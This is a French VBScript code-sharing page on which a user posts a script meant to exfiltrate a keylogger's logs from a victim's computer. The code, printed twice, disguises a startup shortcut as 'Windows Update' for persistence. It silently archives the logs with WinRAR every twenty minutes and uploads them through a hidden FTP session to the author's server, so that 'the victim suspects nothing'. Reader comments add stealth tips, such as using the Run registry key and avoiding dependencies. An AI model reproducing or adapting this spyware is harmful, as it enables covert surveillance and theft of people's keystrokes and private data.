begin process at 2012 02 16 10:23:07
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

VBScript

 > COMPRESSION ET UPLOAD VERS UN SERVEUR FTP

COMPRESSION ET UPLOAD VERS UN SERVEUR FTP


 Information sur la source

Note :
Aucune note
Catégorie :VBScript Classé sous :COMPRESSION, UPLOAD, FTP, Winrar, raccourci Niveau :Débutant Date de création :16/07/2008 Date de mise à jour :16/07/2008 02:23:00 Vu :6 361

Auteur : hackoo

Ecrire un message privé
Site perso
Commentaire sur cette source (5)
Ajouter un commentaire et/ou une note

 Description

il ya un bon moment que j'ai fait un keylogger biensûr grâce a vos sources déposées ici en Vbfrance la seule chose qui me manque c'est comment avoir accés a mes Logs qui sont sous forme "date_Mois_Année.htm" , alors j'ai penser que je peux les faire commpresser avec Winrar en ligne de commande et en arriére plan pour que la victime ne se doute de rien ;) puis les faire Uploader sur mon serveur FTP ! Alors j'ai réussi ale faire marcher et je veux le partager avec Vous !

Source

  • 'Main Program
  • option explicit
  • Shortcut
  • do while time <> "00:00:00" 'ici j'ai utiliser une boucle tant qu'il n'est pas encore minuit on bosse pour le script ne s'arrête pas ;)
  • Compression 'On compresse les Fichiers
  • Shortcut 'création d'un racourci dans le dossier démarrage pour démarre avec windows
  • UploadFTP 'Uploader les fichies compressés
  • wscript.sleep 1200000 'ici on attend 20 min puis on recommence l'action
  • loop
  • '--------------------------------------------------------------------------------------------------------------------------------------
  • sub Compression
  • dim File,f3,ts3,FSO,Archive,temp,shell
  • Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
  • temp=FSO.GetSpecialFolder(2) ' Dossier Temporaire de Windows
  • FSO.CreateTextFile temp & "\Protection\Backup.lst"
  • Set f3 = fso.GetFile(temp & "\Protection\Backup.lst")
  • Set ts3 = f3.OpenAsTextStream(2, -2)
  • ts3.writeline temp & "\Protection\*.htm" 'ici je veux faire une liste qui me compresse seulement les Fichiers d'extention *.htm
  • ts3.Close
  • Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)
  • Set Shell=CreateObject("WScript.Shell")
  • Shell.run ("winrar -IBCK -tn30d -pvotremotdepasse a "& Archive &" @Backup.lst")
  • end sub
  • 'Winrar est un outil Trés puissant il m'a aider beaucoup pour réaliser mes attentions et mes objectifes
  • 'Syntaxe pour la ligne de commande pour Winrar
  • 'WinRAR <commande> -<paramètre1> -<paramètreN> <archive> <fichiers...> <@listefichiers...> <chemin_d_extraction\>
  • 'Commande a - Ajouter à une archive
  • 'Paramètre -IBCK - Lancer WinRAR en arrière-plan
  • 'Paramètre -TN<heure> - traiter les fichiers postérieurs à l'heure définie
  • 'Utiliser ce paramètre pour traiter uniquement les fichiers plus récents que l'heure spécifiée. Le format de la chaîne <heure> est :
  • '[<njours>j][<nheures>h][<nminutes>m][<nsecondes>s]
  • 'Par exemple, utiliser le paramètre "-tn15d" pour traiter les fichiers de plus de 15 jours et "-tn2h30m" pour traiter les fichiers après 2 heures 30 minutes
  • 'Par exemple, vous pouvez créer un fichier "backup.lst" contenant les chaînes suivantes :
  • 'c:\work\doc\*.txt//sauvegarde des documents texte
  • 'c:\work\image\*.bmp//sauvegarde des images
  • 'c:\work\misc
  • 'et lancer :
  • 'winrar a backup @backup.lst
  • 'Paramètre -P<mot_de_passe> - Utiliser un mot de passe Attention pas d'espace aprés la lettre P càd on écrit <-pmotdepasse> et non <-p motdepasse>
  • 'Pour plus d'informations sur winrar en mode ligne de commande je vous conseille de consulter son fichier Help
  • '----------------------------------------------------------------------------------------------------------------------------------------------
  • sub Shortcut
  • dim shell,startupPath,link,temp,FSO
  • Set Shell = CreateObject("WScript.Shell")
  • startupPath = Shell.SpecialFolders("startup")
  • Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
  • temp=FSO.GetSpecialFolder(2)
  • Set link = Shell.CreateShortcut(startupPath & "\Windows Update.lnk") 'lien
  • link.Description = "Windows Update"
  • link.IconLocation = "wuauclt.exe, 0" 'icon de windows Update un camouflage quoi ;)
  • link.TargetPath = temp & "\Protection\WindowsUpdate.vbs"
  • link.WorkingDirectory = temp & "\Protection\" 'mon dossier de Travail
  • link.Save
  • end sub
  • '----------------------------------------------------------------------------------------------------------------------------------------
  • Sub UploadFTP
  • dim File,FSO,Archive,shell,temp
  • Set FSO = CreateObject("Scripting.FileSystemObject")
  • temp=FSO.GetSpecialFolder(2)
  • Set File = FSO.OpenTextFile(temp &"\Protection\FTP.txt", 2, True)
  • Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)
  • With File
  • .WriteLine "open Nom du Serveur FTP" 'Nom du Serveur FTP (à Modifier)
  • .WriteLine "Votre Login" 'Nom de Login pour le serveur FTP (à Modifier)
  • .WriteLine "Votre Mot de Passe" 'Mot de Passe (à Modifier)
  • .WriteLine "bin" 'ici en mode binaire
  • .WriteLine "PUT " & temp & "\Protection\"& Archive &".rar" 'pour Uploder l'Archive RAR
  • .WriteLine "bye" 'Déconnexion du serveur FTP
  • .Close
  • End With
  • Set shell = CreateObject("WScript.Shell")
  • shell.Run "ftp -i -s:"& temp &"\Protection\FTP.txt",0,True 'Exécution de FTP
  • set shell = Nothing
  • end sub
  • '-------------------------------------------------------------------------------
'Main Program
option explicit
Shortcut
do while time <> "00:00:00" 'ici j'ai utiliser une boucle tant qu'il n'est pas encore minuit on bosse pour le script ne s'arrête pas ;)
Compression 'On compresse les Fichiers
Shortcut    'création d'un racourci dans le dossier démarrage pour démarre avec windows
UploadFTP   'Uploader les fichies compressés
wscript.sleep 1200000 'ici on attend 20 min puis on recommence l'action
loop
'--------------------------------------------------------------------------------------------------------------------------------------
sub Compression
dim File,f3,ts3,FSO,Archive,temp,shell
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)          ' Dossier Temporaire de Windows
FSO.CreateTextFile temp & "\Protection\Backup.lst"	
Set f3 = fso.GetFile(temp & "\Protection\Backup.lst")
Set ts3 = f3.OpenAsTextStream(2, -2)
ts3.writeline temp & "\Protection\*.htm"    'ici je veux faire une liste qui me compresse seulement les Fichiers d'extention *.htm
ts3.Close
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)   
Set Shell=CreateObject("WScript.Shell")
Shell.run ("winrar -IBCK -tn30d -pvotremotdepasse a "& Archive &" @Backup.lst") 
end sub  
'Winrar est un outil Trés puissant il m'a aider beaucoup pour réaliser mes attentions et mes objectifes
'Syntaxe pour la ligne de commande pour Winrar
'WinRAR <commande> -<paramètre1> -<paramètreN> <archive> <fichiers...> <@listefichiers...> <chemin_d_extraction\> 
'Commande a - Ajouter à une archive
'Paramètre -IBCK - Lancer WinRAR en arrière-plan
'Paramètre -TN<heure> - traiter les fichiers postérieurs à l'heure définie
'Utiliser ce paramètre pour traiter uniquement les fichiers plus récents que l'heure spécifiée. Le format de la chaîne <heure> est :
'[<njours>j][<nheures>h][<nminutes>m][<nsecondes>s]
'Par exemple, utiliser le paramètre "-tn15d" pour traiter les fichiers de plus de 15 jours et "-tn2h30m" pour traiter les fichiers après 2 heures 30 minutes
'Par exemple, vous pouvez créer un fichier "backup.lst" contenant les chaînes suivantes : 
'c:\work\doc\*.txt//sauvegarde des documents texte
'c:\work\image\*.bmp//sauvegarde des images
'c:\work\misc
'et lancer :
'winrar a backup @backup.lst
'Paramètre -P<mot_de_passe> - Utiliser un mot de passe Attention pas d'espace aprés la lettre P càd on écrit <-pmotdepasse> et non <-p motdepasse>
'Pour plus d'informations sur winrar en mode ligne de commande je vous conseille de consulter son fichier Help
'----------------------------------------------------------------------------------------------------------------------------------------------
sub Shortcut
dim shell,startupPath,link,temp,FSO
Set Shell = CreateObject("WScript.Shell")
startupPath = Shell.SpecialFolders("startup")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set link = Shell.CreateShortcut(startupPath & "\Windows Update.lnk") 'lien
link.Description = "Windows Update"
link.IconLocation = "wuauclt.exe, 0" 'icon de windows Update un camouflage quoi ;)
link.TargetPath = temp & "\Protection\WindowsUpdate.vbs"
link.WorkingDirectory = temp & "\Protection\"  'mon dossier de  Travail
link.Save
end sub
'----------------------------------------------------------------------------------------------------------------------------------------
Sub UploadFTP
dim File,FSO,Archive,shell,temp
Set FSO = CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set File = FSO.OpenTextFile(temp &"\Protection\FTP.txt", 2, True)
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)
With File
.WriteLine "open Nom du Serveur FTP"      'Nom du Serveur FTP (à Modifier)
.WriteLine "Votre Login"                  'Nom de Login pour le serveur FTP (à Modifier)
.WriteLine "Votre Mot de Passe"           'Mot de Passe (à Modifier)
.WriteLine "bin"                          'ici en mode binaire
.WriteLine "PUT " & temp & "\Protection\"& Archive &".rar" 'pour Uploder l'Archive RAR
.WriteLine "bye"                          'Déconnexion du serveur FTP
.Close
End With
Set shell = CreateObject("WScript.Shell")
shell.Run "ftp -i -s:"& temp &"\Protection\FTP.txt",0,True 'Exécution de FTP
set shell = Nothing
end sub
'-------------------------------------------------------------------------------

 Conclusion

Vos commentaires et vos critiques sont les Bienvenus !


 Historique

16 juillet 2008 02:23:00 :
Vos commentaires et vos critiques sont les Bienvenus !

 Sources du même auteur

Source avec Zip Source avec une capture RECHERCHE & SAUVEGARDE DES FICHIERS PAR LEURS EXTENSIONS
Source avec Zip Source avec une capture [VBS] SPLASH SCREEN EN VBSCRIPT
Source avec Zip Source avec une capture [VBS] GOOGLE EASTER EGGS
Source avec Zip Source avec une capture FILE2COMPARE: COMPARAISON DE DEUX FICHIERS LIGNE PAR LIGNE
Source avec Zip Source avec une capture [VBS] COMMENT CRÉER UN DOSSIER ET LE PROTÉGER PAR MOT DE PAS...

 Sources de la même categorie

Source avec Zip Source avec une capture RECHERCHE & SAUVEGARDE DES FICHIERS PAR LEURS EXTENSIONS par hackoo
Source avec Zip Source avec une capture [VBS] SPLASH SCREEN EN VBSCRIPT par hackoo
Source avec Zip Source avec une capture [VBS] GOOGLE EASTER EGGS par hackoo
Source avec Zip Source avec une capture FILE2COMPARE: COMPARAISON DE DEUX FICHIERS LIGNE PAR LIGNE par hackoo
Source avec Zip Source avec une capture [VBS] COMMENT CRÉER UN DOSSIER ET LE PROTÉGER PAR MOT DE PAS... par hackoo

 Sources en rapport avec celle ci

Source .NET (Dotnet) CRÉATION DE DOSSIERS, COPIE DE FICHIERS PAR FTP EN VB.NET par zozo14
Source avec Zip Source avec une capture UPLOAD FTP VB 6 par Onin42
Source avec Zip Source avec une capture UPLOAD HTTP- PHP par christo16
Source avec Zip Source avec une capture Source .NET (Dotnet) [.NET2] CLIENT FTP: OU COMMENT UTILISER LES CLASSES FTPWEBRE... par Willi
Source avec Zip Source avec une capture EMEVAS 0.1.2 > VOS BACKUPS SIMPLIFIÉS (COMPRESSION, RAR, 7ZI... par MyXiLo

Commentaires et avis

Commentaire de PCPT le 16/07/2008 05:59:07 administrateur CS

ouai avec l'alerte du parefeu qui demandera l'autorisation du connexion, la victime ne se doutera de rien ^^

ps : pas propre du tout çà : do while time <> "00:00:00"
au pire, juste do ... loop, sans test de sortie

Commentaire de gillardg le 16/07/2008 13:44:44

PTDR
pour que ton truc fonctionne la "victime" est obligée d'avoir winrar
:D

si tu veux faire un keylogger ou une autre saloperie ton prog ne dois JAMAIS être dépendant de quoi que ce soit sur la machine de ta "victime"

PS: il esiste des classes sur le net pour la compression en vb6

Commentaire de runinho le 16/07/2008 16:33:55

et bien ton code n est pas mal du tout mais on aurait pu fire bien moins long

Commentaire de ws le 21/07/2008 07:20:33

De plus, pour un démarrage avec Windows, mieux vaut utiliser la clé Run dans le registre plutôt que l'icône dans "Démarrage", c'est plus discret

Commentaire de neo2k2 le 09/03/2009 09:28:23

J'espère aussi que le keylogger n'a pas besoin d'ouvrir Word 2007 pour écrire le fichier de log... ;o)

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Inet : FTP upload avec user et pass en VB6 [ par Yves ] J'uitilise Inet pour uploader un fichier sur un serveur ftp. La commande que j'utilise ressemble à ceci:Inet1.Execute "ftp://user:pass@mon.serveur.ftp faire attendre inet? qd il upload sur ftp.. [ par pcpunch ] slt tous et dans la question je pense, g parcouru les forum et rien sur inet et cette question.En effet lorsque je lance un upload sur un ftp, et que Upload via Inet [ par kelu95 ] Bonjour a tous!Voila j'utilise un code que j'ai trouvé sur vbfrance qui permet d'uploader des fichiers sur FTP. Cela fonctionne tres bien.Cependant, l Upload FTP [ par Sirotilc ] Quelqu'un pourrait me dire comment uploader un fichier simplement par FTP ???Tout ce que j'ai trouvé sur VBFrance.com ne marche pas correctement ou es Blocage de l'upload par FTP [ par Mindiell ] Bonjour &#224; tous,J'ai cr&#233;&#233; un programme pour faire du FTP avec les api. Il marche bien, et je souhaite conserver les api (pas la peine de Inet upload de fichier au complet [ par retsam ] Jaimerais que Inet upload&nbsp;un fichier au complet sur mon serveur FTP et non &#224; 0 Ko.S.V.P jai besoin d'aide.Mon code:With Inet1&nbsp;&nbsp; .U Inet plante avec des fichiers tros gros [ par Jeskor ] Je réalise actuelement une application necessitant une liaison ftp permettant l'upload et le download..Voici 2 codes :Public Sub Upload(in_Source, in_ Attendre la fin de Compression avec Winrar sous VB2005 [ par ledebutant07 ] Bonjour,Je suis sous VB2005 ExpressJ'écris une appli qui compresse un répertoire et ses sous-répertoire avec WINRAR .Je cherche comment coder l'attent Un simple upload FTP [ par christo16 ] Bonjour, Je recherche un très simple upload via au composant Winsock. On ma déconseiller d'utiliser le composant Inet. Simple : Envoi du fichier au f Upload de fichier sur un ftp [ par Razordj ] J'aimerais créer un "upload" automatique sur Visual basic express 2008 qui uploaderais sur un serveur Ftp.Il uploaderais tout les fichiers et tout les


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 2,855 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales